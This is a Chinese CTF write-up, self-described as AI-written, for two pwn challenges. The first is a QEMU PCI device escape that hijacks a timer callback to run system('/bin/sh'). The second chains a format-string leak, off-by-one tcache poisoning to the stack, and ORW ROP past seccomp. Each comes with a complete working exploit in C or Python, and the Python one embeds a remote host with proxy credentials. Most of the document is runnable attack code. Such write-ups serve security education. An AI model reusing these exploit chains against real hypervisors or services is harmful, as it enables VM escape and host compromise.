pwn· 更新于 2026-05-26

ccsssc-2026-半决赛

ccsssc-2026-半决赛

Attention! AI 写的 wp

hak

QEMU 自定义设备题,guest 里和 hak-pci 交互,最终改宿主机 QEMU 进程内存。重点在设备自己的状态管理,和 guest 内核没什么关系。

设备注册和初始化

hak_class_init 里:

PCI_DEVICE_CLASS(klass)->realize = hak_realize;
PCI_DEVICE_CLASS(klass)->vendor_id = 0xDEAD1337;
PCI_DEVICE_CLASS(klass)->revision = 1;
PCI_DEVICE_CLASS(klass)->class_id = 0xff;

guest 扫 PCI 找 vendor 0x1337 就能定位,exp.c 里的 pci_find_and_enable() 就这么做的,然后把 BAR0 映射成 MMIO。

hak_realize 做了三件事:注册 BAR0 MMIO、挂了一个 QEMUTimer、timer callback 是 hak_dma_timer_cb。

// hak_realize
memory_region_init_io(..., hak_mmio_ops, s, "hak-mmio", 0x1000);
pci_register_bar(dev, 0, 0, mmio_region);
timer_init_full(timer, 0, 1, 1, 0, hak_dma_timer_cb, s);
s->timer = timer;

hak_reset 决定了第一步泄露的形状:设备里有 16 个 0x100 的小 chunk,reset 时头插法串成 freelist,所以第一次申请小块拿到的是最后压进去的 chunk15。

// hak_reset
memset(chunks_and_entries, 0, ...);
for (i = 0; i < 16; i++) {
    memset(&entry[i], 0, 0x20);
    chunk[i].next = freelist_head;
    freelist_head = &chunk[i];
}

MMIO 接口

接口只允许 8 字节访问:

hak_mmio_ops = {
    .read  = hak_mmio_read,
    .write = hak_mmio_write,
    .valid.min_access_size = 8,
    .valid.max_access_size = 8,
}

exp.c 里封了一层 hak_r64() 就是这原因。

hak_mmio_write

关键 case:

case 0x00:  // alloc
    if (size <= 0x100 && freelist)
        entry[idx].ptr = pop_freelist();
    else
        entry[idx].ptr = g_malloc(size);
    entry[idx].id = idx;
    entry[idx].flags_size = size * 2 + 1;
    // dma_addr / dma_len 没清
    break;

case 0x08:  // free
    if (entry[idx].size > 0x100)
        g_free(entry[idx].ptr);
    else
        append_to_freelist_tail(entry[idx].ptr);
    memset(&entry[idx], 0, 0x20);
    break;

case 0x10:  // trigger dma write
    dma_dir = 1;
    timer_mod_ns(timer, now + 1000);
    break;

case 0x18:  // set offset
    if (off < entry[selected].size)
        selected_offset = off;
    break;

case 0x20:  // select
    selected = idx;
    break;

case 0x28:  // set dma addr
    entry[idx].dma_addr = addr & ~0xf;
    break;

case 0x30:  // set dma len
    if (len <= entry[idx].size)
        entry[idx].dma_len = len;
    break;

两个有用的点:

  1. alloc 只改 ptr/id/size,没清 dma_addr/dma_len。
  2. 小 chunk free 回 freelist 没清 chunk 头,旧 next 指针还在,泄露地址用。

hak_mmio_read

if (addr == 0) {
    dma_dir = 0;
    timer_mod_ns(timer, now + 1000);
    return 0;
}

if (addr == 8 && offset + size < entry[selected].size) {
    memcpy(tmp, entry[selected].ptr + offset, size);
    return tmp;
}

addr == 8 可以把 entry[selected].ptr + offset 处的内容读回来,伪造 entry.ptr 之后就是任意读。

hak_dma_timer_cb

if (entry[sel].allocated && entry[sel].ptr && entry[sel].dma_len) {
    dma_memory_rw(&address_space_memory,
                  entry[sel].dma_addr,
                  0x100000000,
                  entry[sel].ptr,
                  entry[sel].dma_len,
                  dma_dir == 0 ? 1 : 0);
}

没有重新检查 dma_len <= 当前 ptr 对应缓冲区大小,stale DMA 核心在这里。

漏洞

  1. hak_reset 预置可预测 freelist。
  2. 小块 free 不清 next,chunk 里残留堆内地址。
  3. alloc 不清旧 dma_addr/dma_len,stale DMA state。
  4. hak_dma_timer_cb 信任这个 stale state,按旧长度写进新缓冲区。

整条链:freelist 泄露设备对象地址 → stale DMA 越界冲掉 entry[] → 伪造任意读写原语。

exp 打法(hak\bin\exp.c)

设备接口封装和 MMIO case 一一对应:

static void hak_alloc(int idx, int sz) { mmio_w64(0x00, idx << 16 | sz); }
static void hak_free(int idx)          { mmio_w64(0x08, idx << 16); }
static void hak_sel(int idx)           { mmio_w64(0x20, idx << 16); }
static void hak_off(int off)           { mmio_w64(0x18, off << 16); }
static void hak_dma_addr(int idx, u64 a) { mmio_w64(0x28, (a & ~0xf) | idx); }
static void hak_dma_len(int idx, u64 l)  { mmio_w64(0x30, (l & ~0xf) | idx); }
static void hak_dma_w(void)            { mmio_w64(0x10, 0); }

addr==8 读路径按 4 字节搬,所以 hak_r64() 改两次 offset 各读一次再拼。

第一步:泄露 dev_state

hak_alloc(0, 0x80);
hak_sel(0);
u64 leak = hak_r64(0);
u64 dev_state = leak - (3052 + 14 * 256);

读到的是 chunk15->next,即 chunk14 地址,chunk 区和设备对象基址距离固定,反推 dev_state。

第二步:清空 chunk 头,绕 freelist 检查

直接 free(0) 会把 chunk 挂回 freelist 尾,但头部旧 next 还在,之后分配走到自检分支就 abort。先把全零 DMA buffer 写回 chunk 头:

hak_dma_addr(0, dma_phys);
hak_dma_len(0, 0x10);
hak_sel(0);
hak_dma_w();

然后 free,再把其余小块全拿走,freelist 最后只剩 chunk15。

第三步:stale DMA 越界,伪造 entry

hak_alloc(0, 0x200);
hak_dma_addr(0, dma_phys);
hak_dma_len(0, 0x1f0);
hak_alloc(0, 0x80);

先把 idx=0 分配成 0x200,设好 dma_len=0x1f0,再重新分配成 0x80。entry[0].ptr 已经是 chunk15,但 dma_len 还是旧的 0x1f0,触发 DMA 就从 chunk15 一路覆盖到后面的 entry[]:

entry_t *e = (entry_t *)(dma_buf + 260);
e[0].flags_size = 0x201;
e[0].ptr = dev_state + DS_CHUNK15;

e[1].flags_size = 0x4001;
e[1].ptr = dev_state;

e[2].flags_size = 0x4001;
e[2].ptr = dev_state + DS_ENTRY1_PTR;

entry[1] 是读写目标,初始指向 dev_state;entry[2] 指向 entry[1].ptr 字段,用来改写目标地址。set_target() 就是把地址写进 guest buffer,让 entry[2] 做一次 DMA 打进 entry[1].ptr,之后切 entry[1] 就是任意读写。

第四步:泄露 timer、code、libc

hak_sel(1);
u64 timer_ptr = hak_r64(0xBE0);
u64 leak3    = hak_r64(0x378);
u64 code_base = leak3 - 0x5d9e10;

从设备对象里直接读,再把目标切到 code_base + 0x1B131D0 取已解析的 libc 指针:

set_target(code_base + 0x1B131D0);
hak_sel(1);
u64 leak4 = hak_r64(0);
u64 libc_base = leak4 - 0x11ba80;

第五步:劫持 QEMUTimer

struct QEMUTimer {
    int64_t expire_time;
    QEMUTimerList *timer_list;
    QEMUTimerCB *cb;    // 劫持目标 (RIP)
    void *opaque;       // 参数 (RDI)
    ...
};

直接把 cb 改成 system,opaque 改成 "/bin/sh":

set_target(timer_ptr + 0x10);
hak_sel(1);
hak_dma_addr(1, dma_phys + 0x1800);
hak_dma_len(1, 0x10);

timer[0] = libc_base + 0x58750;   // system
timer[1] = libc_base + 0x1cb42f;  // "/bin/sh"

hak_dma_w();   // 第一次:原 callback 执行,把 cb/opaque 覆掉
hak_dma_w();   // 第二次:arm timer,callback 已经是 system

两个 hak_dma_w() 缺一不可,第一次写入,第二次触发。

完整 exp(hak\bin\exp.c)

// musl-gcc exp.c --static -masm=intel -lpthread -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/ -o exp

#define _GNU_SOURCE

#include <assert.h>
#include <ctype.h>
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/io.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <termios.h>
#include <unistd.h>

#define C_RESET "\033[0m"
#define C_BOLD "\033[1m"
#define C_RED "\033[31m"
#define C_GREEN "\033[32m"
#define C_YELLOW "\033[33m"
#define C_BLUE "\033[34m"
#define C_MAGENTA "\033[35m"
#define C_CYAN "\033[36m"

#define C_ERR C_RED C_BOLD
#define C_INFO C_BLUE C_BOLD
#define C_OK C_GREEN C_BOLD
#define C_WARN C_YELLOW
#define C_DBG C_MAGENTA

#define LOG_IMPL(tag_color, tag, fmt)                  \
    do {                                               \
        va_list _ap;                                   \
        va_start(_ap, fmt);                            \
        fputs(tag_color "[" tag "] " C_RESET, stdout); \
        vprintf(fmt, _ap);                             \
        fputc('\n', stdout);                           \
        va_end(_ap);                                   \
    } while (0)

__attribute__((format(printf, 1, 2))) static void info(const char* fmt, ...) { LOG_IMPL(C_INFO, "+", fmt); }
__attribute__((format(printf, 1, 2))) static void success(const char* fmt, ...) { LOG_IMPL(C_OK, "*", fmt); }
__attribute__((format(printf, 1, 2))) static void warn(const char* fmt, ...) { LOG_IMPL(C_WARN, "!", fmt); }
__attribute__((format(printf, 1, 2))) static void dbg(const char* fmt, ...) { LOG_IMPL(C_DBG, "#", fmt); }

__attribute__((format(printf, 1, 2), noreturn)) static void err_exit(const char* fmt, ...) {
    va_list ap;
    va_start(ap, fmt);
    fputs(C_ERR "[x] " C_RESET, stdout);
    vprintf(fmt, ap);
    if (errno) printf(" (errno=%d: %s)", errno, strerror(errno));
    fputc('\n', stdout);
    va_end(ap);
    fflush(stdout);
    sleep(5);
    exit(EXIT_FAILURE);
}

__attribute__((format(printf, 1, 2))) static void hex(const char* fmt, ...) { LOG_IMPL(C_OK, "+", fmt); }

void binary_dump(char* desc, void* addr, int len) {
    u_int64_t* buf64 = (u_int64_t*)addr;
    uint8_t* buf8 = (uint8_t*)addr;
    if (desc != NULL) printf(C_WARN "[*] %s:\n" C_RESET, desc);
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

static void stdio_unbuf(void) {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

static void pin_cpu(int cpu) {
    cpu_set_t s;
    CPU_ZERO(&s);
    CPU_SET(cpu, &s);
    if (sched_setaffinity(0, sizeof(s), &s) != 0) warn("sched_setaffinity(%d) failed", cpu);
}

static void realtime_prio(int prio) {
    struct sched_param sp = {.sched_priority = prio};
    if (sched_setscheduler(0, SCHED_FIFO, &sp) != 0) warn("sched_setscheduler SCHED_FIFO(%d) failed", prio);
}

#define mb() __asm__ __volatile__("mfence" ::: "memory")
#define rmb() __asm__ __volatile__("lfence" ::: "memory")
#define wmb() __asm__ __volatile__("sfence" ::: "memory")
#define cpu_relax() __asm__ __volatile__("pause" ::: "memory")

void* mmio_mem;

static inline uint8_t mmio_r8(u_int64_t off) { return *(volatile uint8_t*)((uint8_t*)mmio_mem + off); }
static inline uint16_t mmio_r16(u_int64_t off) { return *(volatile uint16_t*)((uint8_t*)mmio_mem + off); }
static inline uint32_t mmio_r32(u_int64_t off) { return *(volatile uint32_t*)((uint8_t*)mmio_mem + off); }
static inline u_int64_t mmio_r64(u_int64_t off) { return *(volatile u_int64_t*)((uint8_t*)mmio_mem + off); }
static inline void mmio_w8(u_int64_t off, uint8_t v) { *(volatile uint8_t*)((uint8_t*)mmio_mem + off) = v; }
static inline void mmio_w16(u_int64_t off, uint16_t v) { *(volatile uint16_t*)((uint8_t*)mmio_mem + off) = v; }
static inline void mmio_w32(u_int64_t off, uint32_t v) { *(volatile uint32_t*)((uint8_t*)mmio_mem + off) = v; }
static inline void mmio_w64(u_int64_t off, u_int64_t v) { *(volatile u_int64_t*)((uint8_t*)mmio_mem + off) = v; }

static void* pci_map_bar(const char* sysfs_resource, size_t len) {
    int fd = open(sysfs_resource, O_RDWR | O_SYNC);
    if (fd < 0) err_exit("open(%s)", sysfs_resource);
    void* m = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
    if (m == MAP_FAILED) err_exit("mmap %s", sysfs_resource);
    close(fd);
    info("BAR %s mapped @ %p (len=%#zx)", sysfs_resource, m, len);
    return m;
}

static inline uint8_t pio_in8(uint16_t p) { return inb(p); }
static inline uint16_t pio_in16(uint16_t p) { return inw(p); }
static inline uint32_t pio_in32(uint16_t p) { return inl(p); }
static inline void pio_out8(uint16_t p, uint8_t v) { outb(v, p); }
static inline void pio_out16(uint16_t p, uint16_t v) { outw(v, p); }
static inline void pio_out32(uint16_t p, uint32_t v) { outl(v, p); }

#define PAGE_SIZE 0x1000UL
#define HUGE_SIZE 0x200000UL

static u_int64_t virt_to_phys(void* vaddr) {
    int fd = open("/proc/self/pagemap", O_RDONLY);
    if (fd < 0) return 0;
    u_int64_t vfn = (u_int64_t)vaddr / PAGE_SIZE;
    u_int64_t entry = 0;
    if (pread(fd, &entry, sizeof(entry), vfn * 8) != sizeof(entry)) {
        close(fd);
        return 0;
    }
    close(fd);
    if (!(entry & (1ULL << 63))) return 0;
    u_int64_t pfn = entry & ((1ULL << 55) - 1);
    return (pfn * PAGE_SIZE) | ((u_int64_t)vaddr & (PAGE_SIZE - 1));
}

static void* alloc_phys_pinned(size_t size, u_int64_t* phys_out) {
    void* p = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE | MAP_LOCKED, -1, 0);
    if (p == MAP_FAILED) err_exit("mmap(%zu)", size);
    memset(p, 0, size);
    if (mlock(p, size) != 0) warn("mlock failed — pages may get evicted");
    if (phys_out) {
        *phys_out = virt_to_phys(p);
        if (!*phys_out) err_exit("virt_to_phys (run as root? /proc/self/pagemap restricted)");
    }
    return p;
}

static void* alloc_hugepage(u_int64_t* phys_out) {
    void* p = mmap(NULL, HUGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB | MAP_POPULATE, -1, 0);
    if (p == MAP_FAILED) {
        warn("hugepage mmap failed — is /sys/kernel/mm/hugepages/*/nr_hugepages > 0?");
        return NULL;
    }
    memset(p, 0, HUGE_SIZE);
    if (phys_out) *phys_out = virt_to_phys(p);
    return p;
}

static ssize_t slurp(const char* path, void* buf, size_t cap) {
    int fd = open(path, O_RDONLY);
    if (fd < 0) return -1;
    ssize_t n = read(fd, buf, cap);
    close(fd);
    return n;
}

static void xwrite_file(const char* path, const void* buf, size_t n) {
    int fd = open(path, O_WRONLY);
    if (fd < 0) err_exit("open(%s) W", path);
    if (write(fd, buf, n) != (ssize_t)n) err_exit("write(%s)", path);
    close(fd);
}

/* ============ device state offsets (from opaque base) ============ */
#define DS_TIMER_PTR 3040
#define DS_DMA_DIR 3048
#define DS_SELECTED 3049
#define DS_OFFSET 3050
#define DS_CHUNKS 3052
#define DS_CHUNK15 6892
#define DS_ENTRIES 7152
#define DS_ENTRY1_PTR 7192
#define DS_MUTEX 7664
#define DS_FREELIST 7720

/* ============ globals ============ */
static uint8_t* dma_buf;
static u_int64_t dma_phys;

/* ============ device API ============
 *
 * valid.min = valid.max = 8  →  guest MUST use 8-byte accesses
 * impl.min = impl.max = 0   →  defaults to 1/4
 *
 * QEMU splits each 8-byte access into two 4-byte handler calls:
 * - writes: (addr, low32, 4) then (addr+4, high32, 4). addr+4 no match → ignored.
 * - reads:  (addr, 4) then (addr+4, 4). addr+4 returns -1 → upper 32 bits = 0xFFFFFFFF.
 */

static void hak_alloc(int idx, int sz) { mmio_w64(0x00, (u_int64_t)idx << 16 | sz); }
static void hak_free(int idx) { mmio_w64(0x08, (u_int64_t)idx << 16); }
static void hak_sel(int idx) { mmio_w64(0x20, (u_int64_t)idx << 16); }
static void hak_off(int off) { mmio_w64(0x18, (u_int64_t)off << 16); }
static void hak_dma_addr(int idx, u_int64_t a) { mmio_w64(0x28, (a & ~0xfULL) | (idx & 0xf)); }
static void hak_dma_len(int idx, u_int64_t l) { mmio_w64(0x30, (l & ~0xfULL) | (idx & 0xf)); }
static void hak_dma_r(void) { mmio_r64(0x00); }
static void hak_dma_w(void) { mmio_w64(0x10, 0); }
static void breakpoint(int n) { mmio_w64(0x20, n << 16); }

static uint32_t hak_r32(void) { return (uint32_t)mmio_r64(0x08); }

static u_int64_t hak_r64(int off) {
    hak_off(off);
    uint32_t lo = hak_r32();
    hak_off(off + 4);
    uint32_t hi = hak_r32();
    return (u_int64_t)hi << 32 | lo;
}

static void dma_wait(void) { usleep(100000); }

/* ============ PCI device discovery ============ */

static void pci_find_and_enable(const char* vendor, char* res_path, size_t len) {
    char path[256], buf[16];
    DIR* dir = opendir("/sys/bus/pci/devices");
    if (!dir) err_exit("opendir pci devices");
    struct dirent* ent;
    while ((ent = readdir(dir)) != NULL) {
        if (ent->d_name[0] == '.') continue;
        snprintf(path, sizeof(path), "/sys/bus/pci/devices/%s/vendor", ent->d_name);
        if (slurp(path, buf, sizeof(buf) - 1) <= 0) continue;
        buf[15] = 0;
        if (!strstr(buf, vendor)) continue;

        snprintf(path, sizeof(path), "/sys/bus/pci/devices/%s/config", ent->d_name);
        int fd = open(path, O_RDWR);
        if (fd >= 0) {
            uint16_t cmd;
            pread(fd, &cmd, 2, 4);
            cmd |= 0x6;
            pwrite(fd, &cmd, 2, 4);
            close(fd);
        }
        snprintf(res_path, len, "/sys/bus/pci/devices/%s/resource0", ent->d_name);
        closedir(dir);
        return;
    }
    closedir(dir);
    err_exit("PCI device vendor=%s not found", vendor);
}

/* ============ entry layout ============ */

typedef struct __attribute__((packed)) {
    uint32_t flags_size;
    uint32_t id;
    u_int64_t ptr;
    u_int64_t dma_addr;
    uint32_t dma_len;
    uint32_t pad;
} entry_t;

/* ============ main ============ */

static void set_target(u_int64_t addr) {
    *(u_int64_t*)(dma_buf + 0x1000) = addr;
    *(u_int64_t*)(dma_buf + 0x1008) = 0;

    hak_dma_addr(2, dma_phys + 0x1000);
    hak_dma_len(2, 0x10);

    hak_sel(2);
    hak_dma_w();
    dma_wait();
}

int main() {
    stdio_unbuf();

    char res_path[256];
    pci_find_and_enable("0x1337", res_path, sizeof(res_path));
    mmio_mem = pci_map_bar(res_path, 0x1000);
    dma_buf = alloc_phys_pinned(0x2000, &dma_phys);
    hex("dma virt=%p  phys=0x%lx", dma_buf, dma_phys);

    hak_alloc(0, 0x80);

    hak_sel(0);
    u_int64_t leak = hak_r64(0);
    hex("leak=0x%lx", leak);
    u_int64_t entrys = leak + 0x204;
    hex("entrys=0x%lx", entrys);
    u_int64_t dev_state = leak - (3052 + 14 * 256);
    hex("dev_state=0x%lx", dev_state);

    hak_dma_addr(0, dma_phys);
    hak_dma_len(0, 0x10);
    hak_sel(0);
    hak_dma_w();
    dma_wait();

    hak_free(0);
    for (int i = 1; i <= 14; i++) hak_alloc(i, 0x80);
    hak_alloc(15, 0x80);

    hak_alloc(0, 0x200);
    hak_dma_addr(0, dma_phys);
    hak_dma_len(0, 0x1F0);
    hak_alloc(0, 0x80);

    typedef struct __attribute__((packed)) {
        uint32_t flags_size;
        uint32_t id;
        u_int64_t ptr;
        u_int64_t dma_addr;
        uint32_t dma_len;
        uint32_t pad;
    } entry_t;

    entry_t* e = (entry_t*)(dma_buf + 260);

    e[0].flags_size = 0x201;
    e[0].id = 0;
    e[0].ptr = dev_state + DS_CHUNK15;

    e[1].flags_size = 0x4001;
    e[1].id = 1;
    e[1].ptr = dev_state;

    e[2].flags_size = 0x4001;
    e[2].id = 2;
    e[2].ptr = dev_state + DS_ENTRY1_PTR;

    hak_sel(0);
    hak_dma_w();
    dma_wait();

    hak_sel(1);
    u_int64_t leak2 = hak_r64(8);
    hex("leak2=0x%lx", leak2);
    u_int64_t libglib_base = leak2 - 0x5f6c0;
    hex("libglib_base=0x%lx", libglib_base);
    u_int64_t timer_ptr = hak_r64(0xBE0);
    hex("timer_ptr=0x%lx", timer_ptr);
    u_int64_t leak3 = hak_r64(0x378);
    u_int64_t code_base = leak3 - 0x5d9e10;
    hex("code_base=0x%lx", code_base);

    /*
    struct QEMUTimer {
        int64_t expire_time;
        QEMUTimerList* timer_list;
        QEMUTimerCB* cb;  // <--- 劫持目标 (RIP)
        void* opaque;     // <--- 参数目标 (RDI)
        QEMUTimer* next;
        int scale;
    };
    */

    set_target(code_base + 0x1B131D0);
    hak_sel(1);
    u_int64_t leak4 = hak_r64(0);
    hex("leak4=0x%lx", leak4);
    u_int64_t libc_base = leak4 - 0x11ba80;
    hex("libc_base=0x%lx", libc_base);

    set_target(timer_ptr + 0x10);
    hak_sel(1);
    hak_dma_addr(1, dma_phys + 0x1800);
    hak_dma_len(1, 0x10);

    u_int64_t* timer = (u_int64_t*)(dma_buf + 0x1800);
    timer[0] = libc_base + 0x58750;
    timer[1] = libc_base + 0x1cb42f;

    info("Write QEMUimer");
    hak_dma_w();
    dma_wait();

    info("Trigger QEMUimer");
    hak_dma_w();

    return 0;
}

Robo Admin

前后呼应的题,前半段格式化字符串专门给后半段堆利用准备 stack / PIE / libc / creds,后半段一字节溢出打 tcache 到栈上做 ROP。

FIX

image-20260422213135577

入口和初始化

main 很短:

setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
setup_seccomp();
reset_state();
gen_random_creds();

while (1) {
    puts("1. set notice");
    puts("2. show status");
    puts("3. admin login");
    ...
}

reset_state

for (i = 0; i <= 7; ++i) {
    if (heap[i]) free(heap[i]);
    heap[i] = 0;
    size[i] = 0;
}
memset(name, 0, 0xc0);
memset(slot, 0, 8);
memset(s_0, 0, 0x100);
dword_52C0 = dword_52C4 = dword_52C8 = 0;
qword_52D0 = qword_52D8 = 0;

初始化状态,没坑。

gen_random_creds

getrandom(&qword_52D0, 8, 0);
getrandom(&qword_52D8, 8, 0);

管理员密码从这来,后面 admin_login 里会被拼成 32 个 hex 字符。

setup_seccomp

ctx = seccomp_init(0x7fff0000);
seccomp_rule_add(ctx, 0, 2, 0);   // open
seccomp_rule_add(ctx, 0, 59, 0);  // execve
seccomp_rule_add(ctx, 0, 322, 0); // execveat
seccomp_load(ctx);

黑了 open/execve/execveat,所以后面走 ORW。小细节:exp 用的是 libc.sym.open,glibc open wrapper 走 openat(257),没撞 seccomp。

格式化字符串

关键函数三个:do_read、set_notice、vuln_show_status_fmtstr。

set_notice

do_read(s, 512);
if (strchr(s, '%') || strchr(s, '$')) {
    puts("[X] raw input contains illegal chars");
} else if (hex_decode(s, src, 256)) {
    puts("[X] decode failed");
} else {
    memcpy(s_0, src, 0x100);
    dword_52C0 = 1;
}

看起来过滤了 % 和 $,但 hex_decode 会把 \x25 -> %、\x24 -> $,过滤发生在解码前,直接绕。exp 里:

s = s.replace(b'$', b'\\x24')
s = s.replace(b'%', b'\\x25')

vuln_show_status_fmtstr

printf("Notice: ");
if (has_notice) {
    if (printed_once) {
        printf("%s", s_0);
    } else {
        printed_once = 1;
        printf(s_0, ..., qword_52D0, qword_52D8, stack_anchor...);
    }
}

第一次 show status 是 printf(s_0),格式化字符串;第二次退化成 printf("%s", s_0)。泄露必须一次拿够:

set_notice(b'%14$p%15$p%23$p%6$p%7$p#')
show()

一次拿出栈地址、PIE 基址、libc 基址、qword_52D0、qword_52D8。

admin_login

没洞,但秘密前面已经全拿了:

snprintf(pass, 0x28, "%016lx%016lx", qword_52D0, qword_52D8);
if (!strcmp(token, "ROBOADMIN") && !strcmp(buf, pass))
    puts("[+] login success");

直接登进去。

堆利用

漏洞:vuln_task_edit_off_by_one

nbytes = read_size_range("Write length :", 1, size[idx] + 1);
read_size = read(0, heap[idx], nbytes);

申请时 size[idx] 字节,编辑允许写 size[idx] + 1,稳定一字节堆溢出。

第一段:overlap 泄露 heap_base

add(0, 0x98, b'a')
dele(0)
for i in range(8):
    if i == 3:
        add(i, 0xF8, b'a')
    else:
        add(i, 0x1E8, b'a')

edit(4, b'\x00' * 0xE8 + p64(0x21) + b'\x00' * 0x10 + p64(0x20) + p64(0x21))
edit(2, b'\x00' * 0x1E8 + b'\xf1')

两次 off-by-one 改 size 低字节,做出 overlap,把 chunk 塞进合适的 tcache bin,然后:

show(7)
ru(b' => ')
heap_base = (u64_ex(ru(b'\n', drop=1)) - 2) << 12

读出 freed chunk 里的 safe-linking 指针,还原 heap_base(glibc 2.35 safe-linking,后面毒 fd 要用)。

第二段:tcache poisoning 到栈

edit(7, p64(protect_ptr(heap_base + 0x2030, stack - 0x30)))
add(3, 0x48, b'a')
add(4, 0x48, b'a')

第二次 add(4, 0x48) 返回的 chunk 落在 stack - 0x30 附近,之后 edit(4, ...) 就是改栈。

两段式 ROP

直接在栈空间有限,先写第一阶段:

edit(4, flat([
    0,
    rdi, 0,
    rsi, stack - 0x28 + 0x40,
    rdx_rbx, 0x200, 0,
    libc.sym.read
]))

read(0, new_stack, 0x200) 把第二阶段链读进来,然后 logout 触发 task_menu 返回:

sla(IAT, b'6')
sl(orw)

第二阶段 ORW:

orw = flat([
    rdi, stack + 0x20,
    rsi, 0,
    libc.sym.open,
    rdi, 3,
    rsi, stack + 0x500,
    rdx_rbx, 0x100, 0,
    libc.sym.read,
    rdi, 1,
    libc.sym.write
])

seccomp 黑了 open 但 glibc wrapper 走 openat,flag 照读。

完整 exp(Robo Admin\robo_admin.py)

#!/usr/bin/env python3
from pwncli import *
import socks


def remote_socks5(host, port, proxy_host="127.0.0.1", proxy_port=1080, proxy_user=None, proxy_pass=None):
    s = socks.socksocket()
    s.set_proxy(socks.SOCKS5, proxy_host, proxy_port, username=proxy_user, password=proxy_pass)
    s.connect((host, port))
    return remote.fromsocket(s)


context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './robo_admin')
if local_flag == "remote":
    gift.io = remote_socks5('192.0.100.2', 9999, '9.dart.ccsssc.com', 26657, 'wdc4j0ta', 'ysp7kchy')
else:
    gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

cmd = '''
    brva 0x1A4A
    brva 0x249A
    brva 0x1DA9
    brva 0x1F32
    brva 0x227F
    brva 0x20A4
    brva 0x2635
    set $h = $rebase(0x5140)
    dir /mnt/f/Documents/CTF/glibc/glibc-2.35
    c
    # b unlink_chunk
'''


def set_notice(s):
    sla(b'> \n', b'1')
    s = s.replace(b'$', b'\\x24')
    s = s.replace(b'%', b'\\x25')
    sl(s)


def show():
    sla(b'> \n', b'2')


set_notice(b'%14$p%15$p%23$p%6$p%7$p#')
show()
ru(b'0x')
stack = int(ru(b'0x', drop=1), 16)
code_base = int(ru(b'0x', drop=1), 16) - 0x2893
libc_base = int(ru(b'0x', drop=1), 16) - 0x29D90
leak_ex2(stack)
set_current_code_base_and_log(code_base)
set_current_libc_base_and_log(libc_base)
token = int(ru(b'0x', drop=1), 16)
passwd = int(ru(b'#', drop=1), 16)
leak_ex2(token)
leak_ex2(passwd)

sla(b'> \n', b'3')
sla(b'Token:\n', b'ROBOADMIN')
sla(b'Password (32 hex):\n', hex(token)[2:] + hex(passwd)[2:])

IAT = b'> \n'


def add(idx, size, name=b'a'):
    sla(IAT, b'1')
    sla(b'Index:\n', str(idx))
    sla(b'Task name:\n', name)
    sla(b'size', str(size))


def dele(idx):
    sla(IAT, b'5')
    sla(b'Index:\n', str(idx))


def edit(idx, data):
    sla(IAT, b'2')
    sla(b'Index:\n', str(idx))
    sla(b'Write length :\n', str(len(data)))
    sa(b'New desc bytes:\n', data)


def show(idx):
    sla(IAT, b'3')
    sla(b'Index:\n', str(idx))


def show_list():
    sla(IAT, b'4')


add(0, 0x98, b'a')
dele(0)
for i in range(8):
    if i == 3:
        add(i, 0xF8, b'a')
    else:
        add(i, 0x1E8, b'a')

edit(4, b'\x00' * 0xE8 + p64(0x21) + b'\x00' * 0x10 + p64(0x20) + p64(0x21))
edit(2, b'\x00' * 0x1E8 + b'\xf1')
for i in range(8):
    if i != 3:
        dele(i)
dele(3)

add(7, 0xF8, b'a')
dele(7)
add(6, 0x48, b'a')
add(7, 0x48, b'a')
add(0, 0x1E8, b'a')
add(1, 0x1E8, b'a')
add(2, 0x1E8, b'a')
add(3, 0x1E8, b'a')
edit(2, b'\x00' * 0x1E8 + b'\xb1')
dele(3)
show(7)
ru(b' => ')
heap_base = (u64_ex(ru(b'\n', drop=1)) - 2) << 12
log_heap_base_addr(heap_base)
add(3, 0x48, b'a')
dele(6)
dele(3)
edit(7, p64(protect_ptr(heap_base + 0x2030, stack - 0x30)))
add(3, 0x48, b'a')
add(4, 0x48, b'a')
CG.set_find_area(0, 1)
rdi = CG.pop_rdi_ret()
rsi = CG.pop_rsi_ret()
rdx_rbx = CG.pop_rdx_rbx_ret()
rcx = CG.pop_rcx_ret()
ret = CG.ret()
edit(4, flat([0, rdi, 0, rsi, stack - 0x28 + 0x40, rdx_rbx, 0x200, 0, libc.sym.read]))
launch_gdb(cmd)
leak_ex2(stack)
sla(IAT, b'6')
orw = p64(rdi) + b'/flag\x00\x00\x00' + flat([rdi, stack + 0x20, rsi, 0, libc.sym.open, rdi, 3, rsi, stack + 0x500, rdx_rbx, 0x100, 0, libc.sym.read, rdi, 1, libc.sym.write])
pause()
sl(orw)


ia()
评论
NETEASE歌单
未选择曲目
0:000:00